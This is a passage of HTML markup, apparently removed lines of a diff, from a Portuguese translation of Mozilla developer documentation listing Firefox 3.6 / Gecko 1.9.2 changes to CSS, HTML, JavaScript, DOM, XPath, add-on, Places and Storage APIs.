- <dt style="font-style: normal; font-weight: bold;"><a href="/en/Using_gradients" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Using gradients">Using gradients</a></dt>
- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Firefox 3.6 adicionou o suporte às propriedades sugeridas <a href="/pt-PT/docs/Web/CSS/-moz-linear-gradient" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-linear-gradient</code></a> e <a href="/pt-PT/docs/Web/CSS/-moz-radial-gradient" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-radial-gradient</code></a> para <a href="/pt-PT/docs/Web/CSS/background" title="A propriedade background é usada para ajustar os valores do fundo em um único lugar na folha de estilos. background pode ser usada com os seguintes valores adicionais: background-attachment, background-color, background-image, background-position, background-repeat."><code>background</code></a>.</dd>
- <dt style="font-style: normal; font-weight: bold;"><a href="/en/CSS/Multiple_backgrounds" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/CSS/Multiple backgrounds">Multiple backgrounds</a></dt>
- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">A propriedade <a href="/pt-PT/docs/Web/CSS/background" title="A propriedade background é usada para ajustar os valores do fundo em um único lugar na folha de estilos. background pode ser usada com os seguintes valores adicionais: background-attachment, background-color, background-image, background-position, background-repeat."><code>background</code></a> (assim como <a href="/pt-PT/docs/Web/CSS/background-color" title="background-color configura a cor de fundo de um elemento, com qualquer valor de cor ou a palavra-chave transparent."><code>background-color</code></a>, <a href="/pt-PT/docs/Web/CSS/background-image" title="A propriedade background-image configura a imagem de fundo para um elemento."><code>background-image</code></a>, <a href="/pt-PT/docs/Web/CSS/background-position" title="The documentation about this has not yet been written; please consider contributing!"><code>background-position</code></a>, <a href="/pt-PT/docs/Web/CSS/background-repeat" title="background-repeat specifies whether the image is repeated (tiled), and how."><code>background-repeat</code></a> e <a href="/pt-PT/docs/Web/CSS/background-attachment" title="Se um background-image é especificado, background-attachment determina se a posição da imagem é fixa na tela, ou rola junto com o bloco que a contém."><code>background-attachment</code></a>) agora suporta múltiplos fundos de tela. Isto permite a especificação de múltiplos fundos de tela que são renderizados um sobre o outro, em camadas.</dd>
- <dt style="font-style: normal; font-weight: bold;"><a href="/En/CSS/Media_queries#Mozilla-specific_media_features" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="En/CSS/Media queries#Mozilla-specific media features">Mozilla-specific media features</a></dt>
- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Características de mídia foram adicionadas para o sistema de métricas específico da Mozilla, então <a href="/pt/CSS/Consulta_de_Mídia" title="pt/CSS/Consulta de Mídia">consultas de mídia</a> podem ser usadas para checar mais seguramente a disponibilidade de características como o suporte a toque.</dd>
- <dt style="font-style: normal; font-weight: bold;"><a href="/en/CSS/Scaling_background_images" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/CSS/Scaling background images">Scaling background images</a></dt>
- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">A propriedade <code style="color: inherit; font-weight: inherit;">background-size </code>do <a class="external" href="http://dev.w3.org/csswg/css3-background/" title="http://dev.w3.org/csswg/css3-background/#the-background-size-property">CSS 3 Backgrounds and Borders draft</a> é agora suportada sob o nome <a href="/pt-PT/docs/Web/CSS/-moz-background-size" title="The documentation about this has not yet been written; please consider contributing!"><code>-moz-background-size</code></a>.</dd>
- <dt style="font-style: normal; font-weight: bold;"><a href="/en/About_WOFF" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/About WOFF">WOFF font support</a></dt>
- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;"><a href="/pt-PT/docs/Web/CSS/@font-face" title="@font-face permite que autores especifiquem fontes online para exibir texto em suas páginas web. Permitindo autores a proporcionar suas próprias fontes, @font-face elimina a necessidade de depender do limitado número de fontes que os usuários tem instalado em seus computadores."><code>@font-face</code></a> agora suporta arquivos de fonte baixáveis no formato WOFF.</dd>
- <dt style="font-style: normal; font-weight: bold;"><a href="/en/CSS/pointer-events" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/CSS/pointer-events">Pointer events</a></dt>
- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">A propriedade <a href="/pt-PT/docs/Web/CSS/pointer-events" title="The documentation about this has not yet been written; please consider contributing!"><code>pointer-events</code></a> permite ao conteúdo especificar quando um elemento pode ser o alvo ou não de eventos com o ponteiro do mouse.</dd>
-</dl>
-
-<h4 id="Miscelânea_de_mudanças_no_CSS">Miscelânea de mudanças no CSS</h4>
-
-<ul style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 25px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
- <li style="margin-bottom: 0.25em;">A unidade de comprimento <a href="/en/CSS/length#Relative_length_units" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/CSS/length#Relative length units"><code style="color: inherit; font-weight: inherit;">rem</code></a> do <a class="external" href="http://www.w3.org/TR/css3-values/#lengths" title="http://www.w3.org/TR/css3-values/#lengths">CSS3 Values and Units</a> é agora suportada. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=472195" title="FIXED: support css3 root em ('rem' or 're') units">bug 472195</a></li>
- <li style="margin-bottom: 0.25em;"><a href="/pt-PT/docs/Web/CSS/image-rendering" title="The documentation about this has not yet been written; please consider contributing!"><code>image-rendering</code></a> é suportada para imagens, imagens de fundo, vídeos e canvas. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=423756" title="FIXED: Request: Switch for authors to turn on/off bilinear filtering when enlarging images">bug 423756</a></li>
- <li style="margin-bottom: 0.25em;"><a href="/pt-PT/docs/Web/CSS/text-align" title="The documentation about this has not yet been written; please consider contributing!"><code>text-align</code></a>:end é agora suportada. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=299837" title="FIXED: [FIX]add support for text-align: end">bug 299837</a></li>
- <li style="margin-bottom: 0.25em;">Mudanças no DOM para elementos usando os tipos <a href="/pt-PT/docs/Web/CSS/display" title="Esta propriedade display de CSS especifica o tipo de caixa de renderização utilizado para um elemento. Em HTML, os valores da propriedade display predefinidos têm o seu comportamento descrito nas especificações de HTML ou de uma folha de estilo predefinida do navegador ou do utilizador. O valor predefinido no XML é  inline, incluindo os elementos de SVG ."><code>display</code></a> de tabela agora funcionam muito melhor.</li>
- <li style="margin-bottom: 0.25em;">Adicionado <a href="/pt-PT/docs/Web/CSS/:-moz-locale-dir(ltr)" title="The documentation about this has not yet been written; please consider contributing!"><code>:-moz-locale-dir(ltr)</code></a> e <a href="/pt-PT/docs/Web/CSS/:-moz-locale-dir(rtl)" title="The documentation about this has not yet been written; please consider contributing!"><code>:-moz-locale-dir(rtl)</code></a> para facilitar a customização de <em>layouts</em> baseados na interface de usuário que está sendo exibida, usando uma localidade da esquerda para a direita ou da direita para a esquerda. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=478416" title="FIXED: Replace chromedir with something more sane">bug 478416</a></li>
- <li style="margin-bottom: 0.25em;">Adicionado suporte para a pseudo-classe <a href="/pt-PT/docs/Web/CSS/:indeterminate" title="The documentation about this has not yet been written; please consider contributing!"><code>:indeterminate</code></a>, que combina com elementos <code style="color: inherit; font-weight: inherit;">checkbox</code> <a class="internal" href="/en/HTML/Element/Input" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/HTML/Element/input"><code style="color: inherit; font-weight: inherit;">input</code></a> aos quais o atributo <code style="color: inherit; font-weight: inherit;">indeterminate</code> é <code style="color: inherit; font-weight: inherit;">true</code>.</li>
- <li style="margin-bottom: 0.25em;">Plugins em janelas não são mais exibidos em CSS transforms, pois eles não podem ser transformados corretamente pelo compositor.</li>
-</ul>
-
-<h3 id="HTML">HTML </h3>
-
-<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
- <dt style="font-style: normal; font-weight: bold;"><a href="/en/Using_files_from_web_applications" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Using files from web applications">Using files from web applications</a></dt>
- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Suporte para a nova API de Arquivos HTML5 foi adicionada ao Gecko, tornando possível para aplicações web acessar arquivos locais selecionados pelo usuário. Isto inclui suporte para a seleção de múltiplos arquivos usando o novo atributo multiple do elemento HTML <code style="color: inherit; font-weight: inherit;">input type="file"</code>.</dd>
- <dt style="font-style: normal; font-weight: bold;">HTML5 vídeo suporta quadros <em>poster</em></dt>
- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">O atributo <code style="color: inherit; font-weight: inherit;">poster</code> é agora suportado pelo elemento <a class="internal" href="/En/HTML/Element/Video" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="En/HTML/Element/Video"><code style="color: inherit; font-weight: inherit;">video</code></a>, permitindo ao conteúdo especificar um quadro <em>poster</em> a ser exibido até que o vídeo comece a tocar.</dd>
- <dt style="font-style: normal; font-weight: bold;">Checkboxes e radio buttons suportam a propriedade <code style="color: inherit; font-weight: inherit;">indeterminate</code></dt>
- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Os elementos HTML <a class="internal" href="/en/HTML/Element/Input" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/HTML/Element/input"><code style="color: inherit; font-weight: inherit;">input</code></a> dos tipos <code style="color: inherit; font-weight: inherit;">checkbox</code> e <code style="color: inherit; font-weight: inherit;">radio</code> agora suportam a propriedade <code>indeterminate</code>, que permite um terceiro estado "indeterminado".</dd>
- <dt style="font-style: normal; font-weight: bold;">A suavização de imagens em canvas pode ser controlada</dt>
- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">A nova propriedade <a class="internal" href="/en/Canvas_tutorial/Using_images#Controlling_image_scaling_behavior" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Canvas tutorial/Using images#Controlling image scaling behavior"><code style="color: inherit; font-weight: inherit;">mozImageSmoothingEnabled</code></a> pode ser usada para ativar e desativar a suavização de imagens quando mudando a escala em elementos <a class="internal" href="/en/HTML/Element/canvas" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/HTML/Element/canvas"><code style="color: inherit; font-weight: inherit;">canvas</code></a>.</dd>
- <dt style="font-style: normal; font-weight: bold;">Execução de script assíncrona</dt>
- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Configurando o atributo <code style="color: inherit; font-weight: inherit;">async</code> no elemento <a href="/En/HTML/Element/Script" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="En/HTML/Element/Script"><code style="color: inherit; font-weight: inherit;">script</code></a>, o <code style="color: inherit; font-weight: inherit;">script</code> não bloqueará o carregamento ou exibição do resto da página. Ao invés, o <code style="color: inherit; font-weight: inherit;">script</code> executa assim que for baixado.</dd>
-</dl>
-
-<h3 id="JavaScript">JavaScript</h3>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">O Gecko 1.9.2 introduz o JavaScript 1.8.2, o qual adiciona algumas características da linguagem do <a href="/En/JavaScript/ECMAScript_5_support_in_Mozilla" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="https://developer.mozilla.org/En/JavaScript/ECMAScript_5_support_in_Mozilla">ECMAScript 5 standard</a>:</p>
-
-<ul style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 25px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
- <li style="margin-bottom: 0.25em;"><a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/Date/parse" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Core JavaScript 1.5 Reference/Global Objects/Date/parse"><code style="color: inherit; font-weight: inherit;">Date.parse()</code></a> agora pode analizar datas ISO 8601 como YYYY-MM-DD.</li>
- <li style="margin-bottom: 0.25em;">
- <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">A propriedade <a href="/en/Core_JavaScript_1.5_Reference/Global_Objects/Function/prototype" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Core JavaScript 1.5 Reference/Global Objects/Function/prototype"><code style="color: inherit; font-weight: inherit;">prototype</code></a> das funções de instâncias não são mais enumeráveis.</p>
- </li>
-</ul>
-
-<h3 id="DOM">DOM</h3>
-
-<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
-</dl>
-
-<h4 id="Miscelânea_de_mudanças_no_DOM">Miscelânea de mudanças no DOM</h4>
-
-<ul>
- <li style="margin-bottom: 0.25em;">O método <code style="color: inherit; font-weight: inherit;">getBoxObjectFor()</code> foi <strong>removido</strong>, pois não era um padrão e expunha ainda mais coisas fora do padrão na web. Veja <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=340571" title="FIXED: getBoxObjectFor leaking-onto-the-Web disaster">bug 340571</a>. Também afeta <a class="external" href="http://mootools.net/" title="http://mootools.net/">MooTools</a> a qual usa esta chamada para a detecção do Gecko; isto foi resolvido na última versão de MooTools, então, certifique-se de atualizar.</li>
- <li style="margin-bottom: 0.25em;">As novas propriedades <a class="internal" href="/en/DOM/window.mozInnerScreenX" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/DOM/window.mozInnerScreenX"><code style="color: inherit; font-weight: inherit;">mozInnerScreenX</code></a> e <a class="internal" href="/en/DOM/window.mozInnerScreenY" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/DOM/window.mozInnerScreenY"><code style="color: inherit; font-weight: inherit;">mozInnerScreenY</code></a> nas janelas do DOM foram adicionadas; estas retornam coordenadas da tela do canto superior esquerdo do visor da janela.</li>
- <li style="margin-bottom: 0.25em;">A nova propriedade <a class="internal" href="/en/DOM/window.mozScreenPixelsPerCSSPixel" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/DOM/window.mozScreenPixelsPerCSSPixel"><code style="color: inherit; font-weight: inherit;">mozScreenPixelsPerCSSPixel</code></a>, acessível somente ao chrome, proporciona um fator de conversão entre pixels CSS e pixels da tela; este valor pode variar baseado no nível de zoom do conteúdo.</li>
- <li style="margin-bottom: 0.25em;">Quando o identificador de fragmentos de documentos URI's da página (a parte após o caractere "#" (hash)) muda, um novo evento <code style="color: inherit; font-weight: inherit;">hashchange</code> é enviado à página. Veja <a class="internal" href="/en/DOM/window.onhashchange" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="window.onhashchange">window.onhashchange</a> para mais informações. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=385434" title="FIXED: Add support for HTML5 onhashchange (event for named anchor changes)">bug 385434</a></li>
- <li style="margin-bottom: 0.25em;">O atributo <a class="internal" href="/en/DOM/document.readyState" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/DOM/document.readyState"><code style="color: inherit; font-weight: inherit;">document.readyState</code></a> é agora suportado. <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=347174" title='FIXED: Implement document.readystate == "complete"'>bug 347174</a></li>
- <li style="margin-bottom: 0.25em;">Suporte ao <code style="color: inherit; font-weight: inherit;"><a class="internal" href="/en/DOM/element.classList" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="element.classList">element.classList</a></code> HTML5 para permitir a fácil manibulação do atributo <code>class.</code> <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=501257" title="FIXED: Implement HTML 5's HTMLElement.classList property">bug 501257</a></li>
- <li style="margin-bottom: 0.25em;"><code style="color: inherit; font-weight: inherit;">localName</code> e <code style="color: inherit; font-weight: inherit;">namespaceURI</code> em documentos HTML agora comportam-se agora assim como nos documentos XHTML: <code style="color: inherit; font-weight: inherit;">localName</code> retorna em minúsculas e <code style="color: inherit; font-weight: inherit;">namespaceURI</code> para elementos HTML é <code style="color: inherit; font-weight: inherit;">"<a class="external" href="http://www.w3.org/1999/xhtml" rel="freelink">http://www.w3.org/1999/xhtml</a>"</code>.</li>
- <li style="margin-bottom: 0.25em;"><a href="/en/DOM/element.getElementsByTagNameNS" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/DOM/element.getElementsByTagNameNS"><code style="color: inherit; font-weight: inherit;">element.getElementsByTagNameNS</code></a> não mais suporta minúsculas em seus argumentos, então letras maiúsculas ASCII no argumento evitam a falha de elementos HTML. O mesmo é verdadeiro para <a href="/en/DOM/document.getElementsByTagNameNS" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/DOM/document.getElementsByTagNameNS"><code style="color: inherit; font-weight: inherit;">document.getElementsByTagNameNS</code></a>.</li>
- <li style="margin-bottom: 0.25em;">O suporte foi adicionado para endereços em geolocalização pela interface <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDOMGeoPositionAddress" title="">nsIDOMGeoPositionAddress</a></code> e um novo campo adicionado a <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIDOMGeoPosition" title="">nsIDOMGeoPosition</a></code>.</li>
- <li style="margin-bottom: 0.25em;">A função <a href="/pt-PT/docs/Web/API/Window/getComputedStyle" title="The documentation about this has not yet been written; please consider contributing!"><code>window.getComputedStyle</code></a> agora retorna dentro de aspas os valores (URL).</li>
-</ul>
-
-<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
- <dt style="font-style: normal; font-weight: bold;">Web workers podem agora se auto-terminar</dt>
- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Workers agora suportam o método <code><a href="https://developer.mozilla.org/pt-PT/docs/XPCOM_Interface_Reference/nsIWorkerScope#close()">nsIWorkerScope.close()</a></code>, que permite a eles, terminá-los eles mesmos.</dd>
- <dt style="font-style: normal; font-weight: bold;">Arrastar e soltar (drag and drop) agora suportam arquivos</dt>
- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">O objeto <a href="/En/DragDrop/DataTransfer" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/DragDrop/DataTransfer"><code style="color: inherit; font-weight: inherit;">DataTransfer</code></a> previsto para arrastar <em>listeners</em> agora inclui uma lista de arquivos que foram arrastados.</dd>
- <dt style="font-style: normal; font-weight: bold;">Checando para ver se um elemento combina com um seletor CSS especificado</dt>
- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">O novo método <a href="/pt-PT/docs/Web/API/Node/mozMatchesSelector" title="The documentation about this has not yet been written; please consider contributing!"><code>element.mozMatchesSelector</code></a> permite a determinação se um elemento combina ou não com um seletor CSS especificado. Veja <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=518003" title="FIXED: implement function to check whether element matches a CSS selector">bug 518003</a>.</dd>
- <dt style="font-style: normal; font-weight: bold;"><a href="/en/Detecting_device_orientation" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Detecting device orientation">Detecting device orientation</a></dt>
- <dt style="font-style: normal; font-weight: bold;"> </dt>
- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">O conteúdo pode agora detectar a orientação do dispositivo se ele possuir um acelerômetro suportado, usando o evento <code style="color: rgb(37, 34, 29); font-weight: inherit;">MozOrientation</code>; veja <a href="/en/DOM/window.onmozorientation" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/DOM/window.onmozorientation"><code style="color: inherit; font-weight: inherit;">window.onmozorientation</code></a> para detalhes. O Firefox 3.6 suporta o acelerômetro em laptops Mac.</dd>
- <dt style="font-style: normal; font-weight: bold;"><a href="/en/DOM/Detecting_document_width_and_height_changes" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/DOM/Detecting document width and height changes">Detecting document width and height changes</a></dt>
- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">O novo evento <code style="color: rgb(37, 34, 29); font-weight: inherit;">MozScrollAreaChanged</code>  é despachado sempre que as propriedades <code style="color: rgb(37, 34, 29); font-weight: inherit;">scrollWidth</code> e/ou <code style="color: rgb(37, 34, 29); font-weight: inherit;">scrollHeight</code> do documento mudam.</dd>
- <dt> </dt>
-</dl>
-
-<h3 id="XPath">XPath</h3>
-
-<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
- <dt style="font-style: normal; font-weight: bold;">O método choose() do XPath é agora suportado</dt>
- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">O método <a href="/en/XPath/Functions/choose" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/XPath/Functions/choose"><code style="color: inherit; font-weight: inherit;">choose()</code></a> é agora suportado pela nossa implementação do <a href="/en/XPath" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/XPath">XPath</a>.</dd>
-</dl>
-
-<h2 id="Para_desenvolvedores_XUL_e_de_complementos">Para desenvolvedores XUL e de complementos</h2>
-
-<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Se você é um desenvolvedor de extensões, deveria começar lendo <a class="internal" href="/en/Updating_extensions_for_Firefox_3.6" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Updating extensions for Firefox 3.6">Updating extensions for Firefox 3.6</a>, o qual oferece uma introdução útil de que mudanças podem afetar sua extensão. Desenvolvedores de plug-ins deveriam ler <a class="internal" href="/en/Updating_plug-ins_for_Firefox_3.6" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Updating plug-ins for Firefox 3.6">Updating plug-ins for Firefox 3.6</a>.</p>
-
-<h3 id="Novas_Características">Novas Características</h3>
-
-<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
- <dt style="font-style: normal; font-weight: bold;"><a href="/en/Detecting_device_orientation" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Detecting device orientation">Detecting device orientation</a></dt>
- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">O conteúdo pode agora detectar a orientação do dispositivo se ele possuir um acelerômetro suportado, usando o evento <code style="color: rgb(37, 34, 29); font-weight: inherit;">MozOrientation</code>; veja <a href="/en/DOM/window.onmozorientation" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/DOM/window.onmozorientation"><code style="color: inherit; font-weight: inherit;">window.onmozorientation</code></a> para detalhes. O Firefox 3.6 suporta o acelerômetro em laptops Mac.</dd>
- <dt style="font-style: normal; font-weight: bold;"><a href="/en/Monitoring_HTTP_activity" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Monitoring HTTP activity">Monitoring HTTP activity</a></dt>
- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">É possível agora monitorar transações HTTP para observar requisições e respostas em tempo real.</dd>
- <dt style="font-style: normal; font-weight: bold;"><a href="/en/Working_with_the_Windows_taskbar" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Working with the Windows taskbar">Working with the Windows taskbar</a></dt>
- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">É possível agora customizar a aparência das janelas na barra de tarefas no Windows 7 ou mais recentes.</dd>
-</dl>
-
-<h3 id="Places">Places</h3>
-
-<ul style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.7em; margin-left: 25px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
- <li style="margin-bottom: 0.25em;">Consultas ao Places podem agora especificar quando incluir ou não páginas redirecionadas nos resultados. Veja <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=428690" title="FIXED: Two entries added to history menu when visiting a page that redirects">bug 428690</a>.</li>
- <li style="margin-bottom: 0.25em;">Adicionado o novo método <code><a href="https://developer.mozilla.org/pt-PT/docs/XPCOM_Interface_Reference/nsIFaviconService#expireAllFavicons()">nsIFaviconService.expireAllFavicons()</a></code> à interface <code><a href="/pt-PT/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIFaviconService" title="">nsIFaviconService</a></code>.</li>
-</ul>
-
-<h3 id="Storage">Storage</h3>
-
-<dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
- <dt style="font-style: normal; font-weight: bold;"><a href="/en/Storage#Collation_(sorting)" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/Storage#Collation (sorting)">Locale-aware collation of data is now supported by the Storage API</a></dt>
- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">O Gecko 1.9.2 adicionou várias novos métodos de agrupamento para proporcionar o agrupamento otimizado (classificação) de resultados usando técnicas de localização-consciente.</dd>
- <dt style="font-style: normal; font-weight: bold;"><a href="/en/mozIStorageStatementParams#Enumeration_of_properties" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="en/mozIStorageStatementParams#Enumeration of properties">Properties on a statement can now be enumerated</a></dt>
- <dd style="margin-left: 0px; margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">Você pode agora usar a enumeração <code style="color: rgb(37, 34, 29); font-weight: inherit;"><a class="internal" href="/en/Core_JavaScript_1.5_Reference/Statements/for...in" style="text-decoration: none; color: rgb(4, 137, 183) !important; cursor: default;" title="En/Core JavaScript 1.5 Reference/Statements/For...in">for..in</a></code> para enumerar todas as propriedades de uma declaração.</dd>
- <dt style="font-style: normal; font-weight: bold;">mozIStorageStatement's getParameterIndex teve o comportamento alterado entre 3.5 e 3.6.</dt>
